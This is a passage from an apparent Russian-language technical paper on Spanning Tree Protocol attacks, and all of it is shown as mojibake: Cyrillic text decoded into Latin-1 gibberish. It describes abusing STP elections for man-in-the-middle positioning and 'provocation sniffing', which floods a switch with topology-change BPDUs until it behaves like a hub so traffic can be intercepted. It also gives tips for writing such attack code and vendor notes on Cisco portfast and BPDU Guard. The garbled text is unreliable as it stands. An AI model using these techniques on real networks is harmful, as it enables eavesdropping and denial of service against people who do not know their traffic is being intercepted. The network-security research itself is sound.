óñòðîéñòâó ñ àâòîíîìíûì ïèòàíèåì, êîòîðîå ìîæíî íåçàìåòíî ïðîíåñòè â çäàíèå, ò.ê.
ñïåöèàëèñò ñìîæåò ïîñòðîèòü òàêîé ¾äåñòðóêòîð¿ íà áàçå ñòàðåíüêîé ÏÝÂÌ ñ äâóìÿ
ñåòåâûìè ïëàòàìè, ïîòðàòèâ íà îáîðóäîâàíèå ìåíåå 100 äîëëàðîâ.
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Îòïðàâíîé òî÷êîé ê çíà÷åíèÿì, èñïîëüçóåìûì â ýòîé àòàêå, ÿâëÿþòñÿ
âåëè÷èíû, èñïîëüçóåìûå ïðè âûáîðàõ è àíîíñèðóåìûå òî÷êàìè ïîäêëþ-
÷åíèÿ MitM-÷ëåíà ñåòè. Â ÷àñòíîì ñëó÷àå, ÷òîáû âûèãðàòü âûáîðû de-
signated root äëÿ äàííîãî ñåãìåíòà ËÂÑ, áóäåò äîñòàòî÷íî ïîäñòàíîâêè
ìåíüøåãî çíà÷åíèÿ PathCost (ïðè ïðî÷èõ ðàâíûõ óñëîâèÿõ). Îäíîçíà÷-
íî íå ñòîèò òðîãàòü ãëîáàëüíûå ïàðàìåòðû, ïîñêîëüêó îíè ÷ðåâàòû DoS
âñåé ñåòè.

6.6 Ïðîâîêàöèîííûé ñíèôôèíã
Ïðîâîêàöèîííûé ñíèôôèíã ïîëó÷èë ñâîå íàçâàíèå ïî àíàëîãèè ñ ïðî-

âîêàöèîííûì ñïóôèíãîì. Íà ìîìåíò íàïèñàíèÿ ñòàòüè àâòîðàì íå âñòðå-
÷àëîñü îïèñàíèÿ àíàëîãè÷íûõ ìåòîäèê â îáëàñòè ñíèôôèíãà. Èäåÿ ïðî-
âîêàöèîííîãî ñíèôôèíãà âîçíèêàåò ïîñëå âíèìàòåëüíîãî ïðî÷òåíèÿ ñòàí-
äàðòà [1], à òî÷íåå òîé åãî ÷àñòè, êîòîðàÿ îïèñûâàåò ïîâåäåíèå STP-
ñîâìåñòèìîãî óñòðîéñòâà â ñëó÷àå èçìåíåíèÿ STP-äåðåâà (íàïðèìåð, ñðà-
çó ïîñëå ïåðåâûáîðîâ Designated Bridge). Äåëî â òîì, ÷òî ïîñëå òàêîãî ñî-
áûòèÿ, ñîãëàñíî ñòàíäàðòó, êîììóòàòîð äîëæåí îáíóëèòü ñâîþ òàáëèöó
êîììóòàöèè (êðîìå ñòàòè÷åñêè çàäàííûõ àäìèíèñòðàòîðîì çíà÷åíèé),
à â ñëó÷àå íóëåâîé òàáëèöû êîììóòàöèè êîììóòàòîð (ïåðâîå âðåìÿ, äî
òîãî, êàê çàïîìíèò íà êàêîì ïîðòó êàêîé MAC) íà÷èíàåò âåñòè ñåáÿ êàê
êîíöåíòðàòîð.

6.6.1 ×òî òàêîå ïðîâîêàöèîííûé ñíèôôèíã
Ïðîâîêàöèîííûé ñíèôôèíã � ýòî àëãîðèòì àòàêè, êîòîðûé ìîæåò

áûòü èñïîëüçîâàí ïðè îïðåäåëåííûõ íàñòðîéêàõ àêòèâíîãî ñåòåâîãî îáî-
ðóäîâàíèÿ äëÿ ¾îòóïëåíèÿ¿ ýòîãî îáîðóäîâàíèÿ ñ öåëüþ ïîäñëóøèâàíèÿ
òðàôèêà, ïðîõîäÿùåãî ÷åðåç åãî ïîðòû. Ãðóáî ãîâîðÿ ïîñðåäñòâîì ïðî-
âîêàöèîííîãî ñíèôôèíãà êîììóòàòîð ïðåâðàùàåòñÿ â êîíöåíòðàòîð ïî-
ñðåäñòâîì ¾ïðîâîêàöèè¿ - ôàëüñèôèêàöèè ñîáûòèÿ ¾ïðîèçîøëî èçìåíå-
íèå òîïîëîãèè ñåòè¿, ïîñëå êîòîðîãî âñå äèíàìè÷åñêèå çàïèñè â òàáëèöå
êîììóòàöèè î÷èùàþòñÿ. Îäíàêî èñïîëüçîâàíèå òàêîé ïðîâîêàöèè ñ òîë-
êîì âîçìîæíî òîëüêî ïðè îäíîì óñëîâèè: êîììóòàòîð íå äîëæåí óñïåòü
îáó÷èòüñÿ. Ïîä ¾îáó÷åíèåì¿ â äàííîì ñëó÷àå ïîíèìàåòñÿ ôîðìèðîâà-
íèå òàáëèöû ñîîòâåòñòâèÿ ïîðòîâ è MAC àäðåñîâ ïîäêëþ÷åííûõ ê íèì
óñòðîéñòâ. Ïîñêîëüêó îáó÷åíèå êîììóòàòîðà ïðîèñõîäèò ïðàêòè÷åñêè
ñðàçó æå ïî ïîëó÷åíèè èì ïàêåòà (ôðåéìà) îò ïîäêëþ÷åííîãî óñòðîéñò-
âà, ðåàëèçàöèÿ ïîëíîöåííîãî ñíèôôèíãà ñòàíîâèòñÿ íåòðèâèàëüíîé çà-
äà÷åé, ñëîæíîñòü êîòîðîé ïðîïîðöèîíàëüíà ñêîðîñòè òðàôèêà â äàííîé
ñåòè. Îòñþäà ñëåäóåò, ÷òî ñóùåñòâóþò óñëîâèÿ ïðè êîòîðûõ ýòà àòà-
êà â ïðèíöèïå íå ðåàëèçóåìà â ïîëíîì îáúåìå. Íàïðèìåð, åñëè òðàôèê
ìåæäó ñòàíöèÿìè, îáìåí êîòîðûõ íåîáõîäèìî ¾ïîäñëóøàòü¿ (ñòàíöèÿìè
¾æåðòâàìè¿), èñïîëüçóåò áîëåå 49% ïîëîñû ïðîïóñêàíèÿ. Äëÿ 100% ýô-
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ôåêòèâíîñòè äàííàÿ àòàêà ïðåäïîëàãàåò áîìáàðäèðîâêó ¾îòóïëÿåìîãî¿
êîììóòàòîðà STP ïàêåòàìè õîòÿ áû âäâîå ÷àùå, ÷åì ïðîõîäÿò ïàêåòû
ìåæäó æåðòâàìè, äëÿ òîãî, ÷òîáû êàæäûé íîâûé ïðèíÿòûé ïàêåò ïðè-
õîäèë íà êîììóòàòîð ñ òîëüêî ÷òî î÷èùåííîé òàáëèöåé êîììóòàöèè. C
ó÷åòîì òîãî, ÷òî îò ïîðòà êîììóòàòîðà íà÷èíàåòñÿ êîëëèçèîííûé äîìåí,
ïîëíîöåííûé ñíèôôèíã êàæåòñÿ åùå áîëåå çàòðóäíåííûì, ÷òî, ïðàâäà,
íå êàñàåòñÿ full-duplex ïîðòîâ. Äëÿ ïîëíîöåííîãî ñíèôôèíãà áåç ïîòåðè
ïàêåòîâ çà ñ÷åò îáó÷åíèÿ êîììóòàòîðà ñóììàðíûé òðàôôèê, ïðîõîäÿ-
ùèé ÷åðåç êîììóòàòîð â åäèíèöó âðåìåíè, íå äîëæåí ïðåâûøàòü 48-49%
ïðîïóñêíîé ñïîñîáíîñòè êàíàëà àòàêóþùåãî.

Òàêàÿ àòàêà â íîðìàëüíûõ óñëîâèÿõ, ñëåäóÿ áóêâå ñòàíäàðòà, íå ðåàëè-
çóåìà, ïîñêîëüêó ñáðîñ òàáëèöû êîììóòàöèè íå îñóùåñòâëÿåòñÿ ìãíîâåí-
íî ïî ïðèõîäó C-BPDU ñ îòëè÷íîé îò òåêóùåé êîíôèãóðàöèåé. Îäíàêî
ìíîãèå óñòðîéñòâà ïîääåðæèâàþò ðàñøèðåíèÿ ñòàíäàðòà, â êîòîðûå çà-
ëîæåíà âîçìîæíîñòü ìãíîâåííîãî ïåðåõîäà èç blocking â forwarding. Êàê
ñëåäñòâèå, âðåìÿ æèçíè òàáëèöû êîììóòàöèè â òàêèõ óñòðîéñòâàõ â ñëó-
÷àå âîçíèêíîâåíèÿ èçìåíåíèé òîïîëîãèè ìîæíî ñáðîñèòü â 0 (ñì. ñòð.49).
Â ýòîì ñëó÷àå, íåîáõîäèìî ïîäîáðàòü òàêèå óñëîâèÿ ðàáîòû óñòðîéñòâà,
÷òîáû îíî, íå ïðåðûâàÿ ðàáîòû (ò.å. áåç DoS), òåì íå ìåíåå ïîñòîÿííî
ñáðàñûâàëî ñâîþ òàáëèöó êîììóòàöèè.

Êàê è MitM-àòàêà, àòàêà provocation sniffing ìîæåò áûòü èñïîëüçîâà-
íà, íàïðèìåð, äëÿ ïîëó÷åíèÿ äîñòóïà ê óïðàâëåíèþ STP-ñîâìåñòèìûì
óñòðîéñòâîì. Ìíîãèå óñòðîéñòâà, ðàáîòàþùèå ïðåèìóùåñòâåííî íà 2-ì
óðîâíå ìîäåëè OSI, íå ïîääåðæèâàþò òåðìèíàëüíîãî äîñòóïà èíà÷å, ÷åì
ïðè ïîìîùè telnet, à ïàðîëè ê ñåññèè, îòêðûòîé ïî ýòîìó ïðîòîêîëó ïåðå-
äàþòñÿ, êàê èçâåñòíî, â îòêðûòîì âèäå. Ïîìèìî ýòîãî, àòàêè íà âòîðîì
óðîâíå OSI ìîãóò ñëóæèòü ïîäãîòîâêîé ê àòàêàì íà áîëåå âûñîêèõ óðîâ-
íÿõ. Íàïðèìåð, èìåÿ âîçìîæíîñòü ¾ñëóøàòü¿ òðàôèê, ìîæíî ýôôåêòèâ-
íî óãàäûâàòü sequence numbers äëÿ ¾âêëèíèâàíèÿ¿ â tcp-ñîåäèíåíèÿ.

6.6.2 Èñïîëüçîâàíèå STP-âûáîðîâ äëÿ ðåàëèçàöèè ïðîâîêàöè-
îííîãî ñíèôôèíãà

Îñíîâíàÿ ñëîæíîñòü â ñëó÷àå ñòàíäàðòíîé ïîääåðæêè STP çàêëþ÷à-
åòñÿ â òîì, ÷òî íåîáõîäèìî âûáðàòü òàêîé àëãîðèòì, ïðè êîòîðîì ïîñòî-
ÿííî ïðîèñõîäÿò ïåðåâûáîðû ÷åãî ëèáî ¾íåâàæíîãî¿. Â òàêîé ñèòóàöèè
ïîìî÷ü ìîãóò ïåðåâûáîðû, íàïðèìåð, designated bridge èëè designated
port äëÿ äàííîãî ñåãìåíòà ñåòè, ÷òî ïîçâîëÿåò íå âûçâàòü DoS äëÿ ñå-
òè è, â ÷àñòíîñòè, äëÿ ñåãìåíòîâ ËÂÑ, ïîäêëþ÷åííûõ ê äàííîìó êîì-
ìóòàòîðó. Â ñëó÷àå åñëè ïðè ïðîâåäåíèè STP-ïåðåâûáîðîâ â îäíîì èç
ñåãìåíòîâ îñòàëüíûå ïðîäîëæàþò ðàáîòàòü � ýòî óäà÷à.
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Çàäà÷à àòàêóþùåãî îáëåã÷àåòñÿ, åñëè êîììóòàòîð ïîääåðæèâàåò ðàñ-
øèðåííóþ ñïåöèôèêàöèþ STP, à èìåííî àíàëîã cisco ¾spanning-tree port-
fast¿. Â ýòîì ñëó÷àå, ïî êðàéíåé ìåðå, íå áóäåò ïàóç â ïðîöåññå ïåðåäà÷è
ôðåéìîâ ¾Frame Relaying¿ (ñì. îïðåäåëåíèå Relayng Entity â [1] 7.2.2)
äàæå ïðè çàòðàãèâàíèè áîëåå ñóùåñòâåííûõ ïàðàìåòðîâ, ÷åì designated
port èëè bridge. Ïîìèìî ýòîãî óñëîâèÿ âàæíî èçáðàòü äëÿ îñïàðèâà-
íèÿ òàêóþ âûáîðíóþ âåëè÷èíó, âûáîðû êîòîðîé íå âûçîâóò ïåðåõîäà
â ñîñòîÿíèå Blocked ïîðòà, ñ êîòîðîãî ïðîèçâîäèòñÿ àòàêà. Â ïðîöåññå
ïåðåâûáîðîâ ìîæíî èãðàòü ïðàêòè÷åñêè âñåìè âûáîðíûìè ïàðàìåòðà-
ìè STP, íî òàê, ÷òîáû íå çàíÿòü ñòàòóñ designated root, ïîñêîëüêó, åñëè
êîììóòàòîðîâ áîëåå äâóõ, òî, ïðîâîäÿ ïåðåâûáîðû êîðíÿ, ìû àâòîìà-
òè÷åñêè çàòðàãèâàåì âñå êîììóòàòîðû, à ýòî ìîæåò âûçâàòü DoS, åñ-
ëè íà îñòàëüíûõ êîììóòàòîðàõ íå âêëþ÷åíà ïîääåðæêà ¾spanning-tree
portfast¿. Â ïðîñòåéøåì ñëó÷àå, åñëè ó íàñ åñòü âñåãî îäèí ñâèò÷, íà
êîòîðîì óñòàíîâëåíî ¾STP portfast¿, ìû ìîæåì ñìåëî óñòðàèâàòü ïå-
ðåâûáîðû êîðíÿ äåðåâà ïî íàèáîëåå àãðåññèâíîìó èç DoS àëãîðèòìîâ,
ïðè÷åì ñòàðàÿñü ïîñëàòü êàê ìîæíî áîëüøå ïàêåòîâ, ïîñêîëüêó ïåðå-
âûáîðû äîëæíû ñòàðòîâàòü ÷àùå ïðèõîäà ïàêåòîâ îò êëèåíòà, êîòîðîãî
íàäî ¾ïðîñëóøàòü¿, íà êîììóòàòîðå. Ñëåäóåò òàêæå èìåòü ââèäó, ÷òî
â ñëåäñòâèå òîãî, ÷òî STP BPDU íå ïðîõîäÿò ñêâîçü STP-ñîâìåñòèìûå
óñòðîéñòâà, à ëèøü âûçûâàþò ïîñûëêó ñîáñòâåííûõ, íåâîçìîæíî áóäåò
äîáèòüñÿ ïîëíîãî ¾îõàáëèâàíèÿ¿ âñåõ êîììóòàòîðîâ, à íå òîëüêî áëè-
æàéøåãî. Â îòëè÷èå îò àòàêóþùåé ìàøèíû, êîììóòàòîð ñâÿçàí ñòàí-
äàðòàìè è, ñêîðåå âñåãî, íå áóäåò ïîñûëàòü ñîáñòâåííûå BPDU ÷àùå,
÷åì ÷åðåç ìèíèìàëüíî âîçìîæíûé òàéìàóò, îïðåäåëåííûé ñòàíäàðòîì,
ïîýòîìó ÷àñòü êîììóòàòîðîâ óñïååò çà âðåìÿ ïàóçû ¾îáó÷èòüñÿ¿, ïóñòü
è ÷àñòè÷íî. Âïðî÷åì, ìîæíî ÷åðåäîâàòü ýòó àòàêó ñ àòàêàìè provocation
spooffing è Man in the Middle, ÷òî ïîçâîëèò ïðè ãðàìîòíîì ïîäáîðå ïà-
ðàìåòðîâ ïîëó÷èòü áîëüøå èíôîðìàöèè, ÷åì ïðè ÷èñòîé ¾provocation
sniffing¿ àòàêå.

Â ïðîöåññå èçó÷åíèÿ ñòàíäàðòà ìû îáðàòèëè âíèìàíèå íà òî, ÷òî âîç-
ìîæíà òàêæå ðåàëèçàöèÿ provocation sniffing èñêëþ÷èòåëüíî íà C-BPDU,
íå âûçûâàþùèõ ïåðåâûáîðû. Òàêóþ àòàêó (áåç ïåðåâûáîðîâ) ìîæíî ðåà-
ëèçîâàòü, èñïîëüçóÿ îñîáåííîñòü, îïðåäåëåííóþ â [1] 8.3.5, ¾Notifying to-
pology changes¿, â ÷àñòè, îïèñûâàþùåé ïîâåäåíèå ìîñòà ïî ïîëó÷åíèè C-
BPDU ñ óñòàíîâëåííûì ¾topology change flag¿. Çäåñü èìååò ñìûñë âñïîì-
íèòü êàê ðàáîòàåò ñàì àëãîðèòì ST: êîãäà òîïîëîãèÿ ñåòè ìåíÿåòñÿ, ìîñ-
òû íóæäàþòñÿ â èíôîðìàöèè îá ýòîì ÷òîáû ïåðåîáó÷èòüñÿ. Åäèíñòâåí-
íûé äîñòóïíûé ìåõàíèçì áûñòðîãî ïåðåîáó÷åíèÿ - ñáðîñ èíôîðìàöèè î
MAC àäðåñàõ â òàáëèöå êîììóòàöèè è åå ïîâòîðíîå ïîñòðîåíèå (Lear-
ning). Ñòàíäàðò îïðåäåëÿåò ñëåäóþùóþ ïîñëåäîâàòåëüíîñòü äåéñòâèé:
îáíàðóæèâ èçìåíåíèÿ â ñåòè, íåêèé ìîñò ïåðåäàåò TCN-BPDU â ñòîðî-
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íó designated root óñòðîéñòâà äî òåõ ïîð, ïîêà íå ïîëó÷èò ïîäòâåðæäåíèÿ
îò ¾designated bridge¿ äëÿ ýòîé ñåòè ïîñðåäñòâîì Ñ-BPDU. Ñîîòâåòñòâó-
þùèé TCN-BPDU ãåíåðèðóåòñÿ designated bridge ýòîé ñåòè è ïåðåäàåòñÿ
äàëüøå â ñòîðîíó êîðíåâîãî óñòðîéñòâà. Êîãäà êîðíåâîå óñòðîéñòâî (de-
signated root) ïîëó÷àåò TCN-BPDU, ãåíåðàöèÿ èì C-BPDU èçìåíÿåòñÿ,
è â òå÷åíèè âðåìåíè îïðåäåëÿåìîãî Topology Change Timer ([1], 8.5.3.13),
îíè ñîäåðæàò ôëàã ¾topology change¿ óñòàíîâëåííûì. Ïî ïîëó÷åíèè C-
BPDU ñ óñòàíîâëåííûì ôëàãîì topology change, ìîñò îáÿçàí âðåìåííî
ñáðîñèòü âðåìÿ æèçíè MAC àäðåñîâ â òàáëèöå êîììóòàöèè íà ìèíèìóì,
ðàâíûé çíà÷åíèþ Forward Delay. Â ñëó÷àå èñïîëüçîâàíèÿ ðàñøèðåíèé
STP, ïîçâîëÿþùèõ ñðàçó ïåðåéòè èç ñîñòîÿíèÿ blocking â Forwarding è
íàîáîðîò, ïàðàìåòð Forward Delay, î÷åâèäíî, ðàâåí 0, ÷òî, ïðè íàëè-
÷èè C-BPDU flood çàñòàâèò êîììóòàòîð âåñòè ñåáÿ êàê êîíöåíòðàòîð,
åñëè êîíå÷íî îí íå ïåðåêîíôèãóðèðîâàí ñïåöèàëüíûì îáðàçîì. Äàííàÿ
àòàêà íå äåéñòâåííà â ñëó÷àå, åñëè MAC-àäðåñà ñòàíöèéû ïðîïèñàí íà
êîììóòàòîðå àäìèíèñòðàòîðîì, ïîñêîëüêó, ñîãëàñíî ñòàíäàðòó [1] (ãëàâà
8.3.5), Aging Time ìîæíî ñáðîñèòü òîëüêî äëÿ çàïèñåé, íàáèðàåìûõ äè-
íàìè÷åñêè â ïðîöåññå ñàìîîáó÷åíèÿ êîììóòàòîðà. Âïðî÷åì, è çäåñü åñòü
îãðàíè÷åíèÿ - ïîñûëêà C-BPDU âûçîâåò õîòÿ áû ðàçîâûå âûáîðû òîãî
èëè èíîãî ïàðàìåòðà, îäíàêî, â ýòîì ñëó÷àå, åñëè âîçìîæíîñòè ïîñëàòü
C-BPDU îò èìåíè ¾âåðõíåãî ê äàííîìó¿ êîììóòàòîðà (îáÿçàòåëüíî ÷å-
ðåç òîò æå ïîðò) íåò, òî DoS äëÿ ÷àñòè ñåòè ïðàêòè÷åñêè íåèçáåæåí.
Ýòîãî ìîæíî èçáåæàòü, åñëè îáðàçîâàòü äîïîëíèòåëüíóþ ïåòëþ è ñêîì-
áèíèðîâàòü ýòó àòàêó ñ ìåòîäîì, îïèñàííûì â ðàçäåëå 6.5, íî óæå âî
èçáåæàíèå DoS, ÷òîáû çàìåíèòü ñîáîé designated bridge äëÿ ýòîé ñåòè.

Äëÿ òîãî, ÷òîáû èìåòü âîçìîæíîñòü ïðîèçâåñòè àòàêó áåç ïîñëåäî-
âàòåëüíûõ ïåðåâûáîðîâ, íàäî ïîääåëàòü ¾keep-alive¿ C-BPDU, êîòîðûå
ðàñïðîñòðàíÿåò designated bridge ýòîãî ñåãìåíòà ñåòè (òî åñòü òîò, êî-
òîðûé áëèæå ê designated root, ÷åì àòàêóåìûé), ÷òî âîçìîæíî áåç DoS
íå âî âñåõ ñëó÷àÿõ. Êñòàòè, ñîãëàñíî òîé æå ãëàâå [1] âîñïðèèì÷èâîñòü
ê topology changes ìîæåò áûòü âûêëþ÷åíà àäìèíèñòðàòîðîì. Â òî æå
âðåìÿ, ñîãëàñíî ñòàíäàðòó [1] (8.5.5.10), ðåàêöèÿ íà TCN-BPDU è C-
BPDU ñ óñòàíîâëåííûì ôëàãîì topology change äîëæíà áûòü âêëþ÷åíà
è âîçìîæíîñòü âûêëþ÷åíèÿ ýòîé ñïîñîáíîñòè íå îáÿçàòåëüíà.

Äëÿ ïîëíîòû êàðòèíû èìååò ñìûñë ïðî÷èòàòü ãëàâû 8.6.14 è 8.6.15 èç
[1].

Êðîìå òîãî, íà âîçìîæíîñòü ðåàëèçàöèè äàííîé àòàêè ìîæåò âëèÿòü
ïîääåðæêà ñâèò÷åì è âêëþ÷åíèå àäìèíèñòðàòîðîì òàêèõ äîïîëíåíèé ê
IEEE STP, êàê àíàëîãè Cisco ¾BPDU Guard¿ è ¾BPDU root guard¿. Îá
ýòîì áóäåò ðàññêàçàíî íèæå â ðàçäåëå 8.
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6.6.3 Ñðàâíåíèå arp-poisoning è provocation sniffing
Ñóùåñòâåííîé ðàçíèöåé ìåæäó arp-poisoning è ïðîâîêàöèîííûì ñíèô-

ôèíãîì ÿâëÿåòñÿ òî, ÷òî arp-poisoning ïîçâîëÿåò ïåðåõâàòûâàòü òðàôèê
òîëüêî ìåæäó îïðåäåëåííûìè óçëàìè, ðàáîòàþùèìè ïî IP, provocation
sniffing æå ïîçâîëÿåò ïåðåâåñòè êîììóòàòîðû â ðåæèì êîíöåíòðàòîðà, â
ðåçóëüòàòå ìîæíî ïåðåõâàòèòü âåñü òðàôèê, âñåõ óçëîâ25, ïî âñåì ïðî-
òîêîëàì (âêëþ÷àÿ ipx, netbeui è ò.ï.), êàê 3ãî è âûøå, òàê è âòîðîãî
óðîâíÿ OSI.

6.6.4 Êîììåíòàðèè ê íàïèñàíèþ êîäà äëÿ provocation sniffing
Ïðåæäå âñåãî, ÷òîáû êîììóòàòîð íå óñïåâàë îáó÷èòüñÿ ¾íàäîëãî¿ åãî

íóæíî ïîñòîÿííî áîìáàðäèðîâàòü C-BPDU ñ óñòàíîâëåííûì topology
change flag, ïî ïðèõîäó êîòîðûõ Max Age äèíàìè÷åñêèõ çàïèñåé â òàá-
ëèöå êîììóòàöèè ñòàíîâèòñÿ ìèíèìàëüíî âîçìîæíûì (îêîëî 4 ñåêóíä).
Ðàçóìååòñÿ, ýòî ïîëåçíî äëÿ àòàêóþùåãî, ïîñêîëüêó ÷àñòü ïàêåòîâ â ðå-
çóëüòàòå áóäåò ðàñïðîñòðàíåíà âî âñå ïîðòû èç-çà óñòàðåâàíèÿ èíôîðìà-
öèè î íàõîæäåíèè MAC-àäðåñà, êîòîðîìó äàííûé ïàêåò ïðåäíàçíà÷åí.
È ýòî áåç âñÿêèõ ïåðåâûáîðîâ è ïðè âûêëþ÷åííîì ¾spanning-tree port-
fast¿!26 Ñëåäóåò ïîìíèòü, ÷òî ¾ïåðåâûáèðàòü¿ ìîæíî òîëüêî òå ïàðà-
ìåòðû, êîòîðûå íå çàäåíóò ôóíêöèîíàëüíîñòü ñîáñòâåííîãî ïîðòà, èíà÷å
ìîæíî ëåãêî îðãàíèçîâàòü DoS ñàìîìó ñåáå. Â êà÷åñòâå îäíîãî èç âîç-
ìîæíûõ âàðèàíòîâ ìîæíî ïðèâåñòè èñïîëüçîâàíèå âûáîðîâ designated
port äëÿ K èç N (K < N) ñåãìåíòîâ ñåòè, ïîäêëþ÷åííûõ ê àòàêóåìîìó
êîììóòàòîðó. Ïî÷åìó íå îäíîãî? Ìîæíî è îäíîãî, íî åñëè çàäåéñòâî-
âàòü íåñêîëüêî ñåãìåíòîâ, òî ìîæíî ÷åðåäîâàòü âûáîðû, óñòðàèâàÿ èõ
ïî î÷åðåäè, ÷òîáû ïðîöåññ ïåðåâûáîðîâ ïðîèñõîäèë êàê ìîæíî ÷àùå.
Ñëåäóþùèì ïîñëå ïåðåáîðà designated port íåêîòîðîãî ñåãìåíòà ËÂÑ,
áóäåò ïåðåáîð designated bridge. Îäíàêî åñòü åùå ëó÷øèé ïóòü - äèàïàçîí
çíà÷åíèé äëÿ íåêîòîðîãî ïîðòà ñîäåðæèò òàêæå îïðåäåëåííûé äèàïàçîí
äëÿ èçìåíåíèÿ ïðèîðèòåòà, ïðè÷åì íå òàêîé óæ è ìàëåíüêèé, òàêèì îá-
ðàçîì ìîæíî ñâåñòè ïîáî÷íûé ýôôåêò àòàêè ê DoS âñåãî ëèøü îäíîãî
ïîðòà, à ïðè íåïîëíîì çàïîëíåíèè ïîðòîâ - îáîéòèñü áåç DoS, óñòðà-
èâàÿ ïåðåâûáîðû designated port äëÿ íåçàíÿòîãî íè÷åì ïîðòà. Â ñëó÷àå
åñëè ïîääåðæèâàåòñÿ àíàëîã ¾spanning-tree portfast¿ (Cisco), ìû èìååì
ñàìûé ïðîñòîé ñëó÷àé - ìîæíî àòàêîâàòü êîììóòàòîð, èñïîëüçóÿ êàê C-
BPDU, òàê è TCN-BPDU, ÷òî äàñò ïî÷òè îäèíàêîâûé ýôôåêò. Îäíàêî
TCN-BPDU ïðåäïî÷òèòåëüíåå, òàê êàê íå âûçûâàþò DoS.

25Ïðàêòè÷åñêè òîëüêî â ïðåäåëàõ êîììóòàòîðîâ, ê êîòîðûì àòàêóþùèé èìååò ïðÿ-
ìîå ïîäêëþ÷åíèå

26Çäåñü íå ñòîèò çàáûâàòü, ÷òî ïðàêòè÷åñêè ñâåäåíèå aging time òàáëèöû êîììóòà-
öèè óñòðîéñòâà-æåðòâû ê 4 ñåêóíäàì áóäåò äàâàòü êðîõè.
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7 Ïîëó÷åíèå äîïîëíèòåëüíîé èíôîðìàöèè î ñå-
òè ïðè ïîìîùè STP

Ïîìèìî îïèñàííûõ âûøå ôóíäàìåíòàëüíûõ àòàê íà òîïîëîãèþ ñåòè
ñóùåñòâóåò åùå îäíà - íå ñòðàøíàÿ, íî òîæå íåïðèÿòíàÿ îñîáåííîñòü:
áëàãîäàðÿ STP âîçìîæíî ïîëó÷åíèå äîïîëíèòåëüíûõ äàííûõ î ñòðóêòó-
ðå ñåòè. Ïðè ýòîì òàêîå ïîëó÷åíèå äîïîëíèòåëüíûõ çíàíèé ìîæåò áûòü
êàê ïàññèâíûì (ïðîñëóøèâàíèå ñðåäû ïåðåäà÷è äàííûõ), òàê è àêòèâ-
íûì - âûèãðàâ íà êîðîòêîå âðåìÿ ñòàòóñ STP êîðíÿ ìû àâòîìàòè÷åñêè
ñòàíîâèìñÿ öåëüþ îòïðàâêè STP TCN-BPDU (ñì. ðàçäåë 1), êîòîðûå
ñàìè ïî ñåáå íåñóò íåêîòîðûé îáúåì ïîçíàâàòåëüíîé èíôîðìàöèè. Íà-
ïðèìåð, ïðîàíàëèçèðîâàâ source MAC àäðåñ, ìîæíî ïîíÿòü óñòðîéñòâî
êàêîé ôèðìû îòïðàâèëî ýòîò ïàêåò, à ýòî òîæå àòàêà, õîòü è ïàññèâíàÿ
(ñì. [3]).

8 Îñîáåííîñòè ðåàëèçàöèè Spaning Tree â íåêî-
òîðûõ óñòðîéñòâàõ ðàçëè÷íûõ ïðîèçâîäèòåëåé

Çäåñü è äàëåå óäåëÿåòñÿ âíèìàíèå ïîääåðæêå LAG'îâ - Link Aggrega-
tion Group - îäíîãî èç âàðèàíòîâ, êîòîðûé, â íåêîòîðûõ ñëó÷àÿõ, ìîæåò
ñòàòü ïðèåìëåìîé çàìåíîé STP.

8.1 Cisco
Äîâîëüíî ¾ïðîäâèíóòûå¿ âîçìîæíîñòè íàñòðîéêè. ×àñòü ìîæåò áûòü

èñïîëüçîâàíà äëÿ çàùèòû îò DoS àòàê. Ïîääåðæèâàåòñÿ ôèëüòðàöèÿ
STP äëÿ ýìóëÿöèè ðàçäåëüíîãî STP-äåðåâà íà êàæäûé vlan. Ýòà ôèðìà
íå çðÿ çàíèìàåò ëèäèðóþùèå ïîçèöèè íà ìèðîâîì ðûíêå, îäíàêî ýòî íå
ìåøàåò ñëåäóþùèì íåäîñòàòêàì: STP âî âñåõ óñòðîéñòâàõ åãî ïîääåðæè-
âàþùèõ ïî óìîë÷àíèþ âêëþ÷åí. Èìåþùèåñÿ íàðàáîòêè íà ñàìîì äåëå,
ñêîðåå âñåãî, íå ïðåäíàçíà÷àëèñü äëÿ çàùèòû îò àòàê. Íåò âîçìîæíîñòè
âûêëþ÷èòü STP íà îòäåëüíîì ïîðòó.

Î÷åâèäíûì íåîáõîäèìûì ïðàâèëîì äëÿ óñòîé÷èâîé ê DoS íàñòðîéêå
êàæäîãî ïîðòà áóäåò ñëåäîâàíèå ñëåäóþùåìó ïðèìåðó (âçÿòî èç êîíôè-
ãóðàöèè cisco 2924XL):

------------cut-------------
interface FastEthernet0/2
description Any Port Sample
spanning-tree portfast
------------cut-------------

⊗
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Òàêæå çàñëóæèâàþò âíèìàíèÿ ñëåäóþùèå âîçìîæíîñòè IOS:

BPDU Guard
Â îáùèõ ÷åðòàõ ýòà ¾ôè÷à¿ ïîçâîëÿåò îòêëþ÷èòü ïîðò, êîãäà íà íåì
ïîÿâëÿåòñÿ óñòðîéñòâî, ìíÿùåå ñåáÿ designated root. Ïðåäíàçíà÷åíî äëÿ
çàïðåòà èçìåíåíèÿ êîíôèãóðàöèè STP Tree áåç âåäîìà àäìèíèñòðàòî-
ðà. Ñïàñàåò òîëüêî îò àòàêè, âêëþ÷àþùåé ôàçó ïåðåâûáîðîâ designated
root. Ïåðåâûáîðû æå Designated Bridge äëÿ íåêîòîðîãî ñåãìåíòà LAN íå
îòñëåæèâàåò (â îáùåì ñëó÷àå ñëîæíî îòëè÷èòü àòàêó îò íîðìàëüíîé ðà-
áîòû, èíîãäà íåâîçìîæíî, ñì. ðàçäåë 15.1). Â ðàìêàõ òåìàòèêè äàííîé
ñòàòüè, êàê è spanning-tree portfast, ñ÷èòàåì î÷åíü ïîëåçíîé. ⊗

Ïîääåðæèâàþòñÿ LAGè.

8.2 Avaya (áûâø. Lucent)
Â ñåðèè êîììóòàòîðîâ cajun (cajun P120, P330(R), P220, P550(R), P880)

çàÿâëåíà ïîääåðæêà 802.1d, ïðè÷åì íà ìîäåëÿõ P550/P880 çàÿâëåíà ïîä-
äåðæêà ST per VLAN, ïðè ýòîì â ó÷åáíèêå êóðñà ¾Cajun Campus Trai-
ning¿ îòäåëüíî îòìå÷åíî, ÷òî ïîääåðæêà ST per vlan íå ñîâìåñòèìà ñ
ðåàëèçàöèåé ST ó äðóãèõ ïðîèçâîäèòåëåé. Èíòåðåñíî ÷åì? :) Îäíàêî
äàëåå ïèøåòñÿ, ÷òî íå ñìîòðÿ íà ýòó ¾íåñîâìåñòèìîñòü¿ P550/P880 âñå-
òàêè ðàáîòàþò ñ 802.1d è 802.1q óñòðîéñòâàìè äðóãèõ ïðîèçâîäèòåëåé. :)
×óäåñà â ðåøåòå. ;)

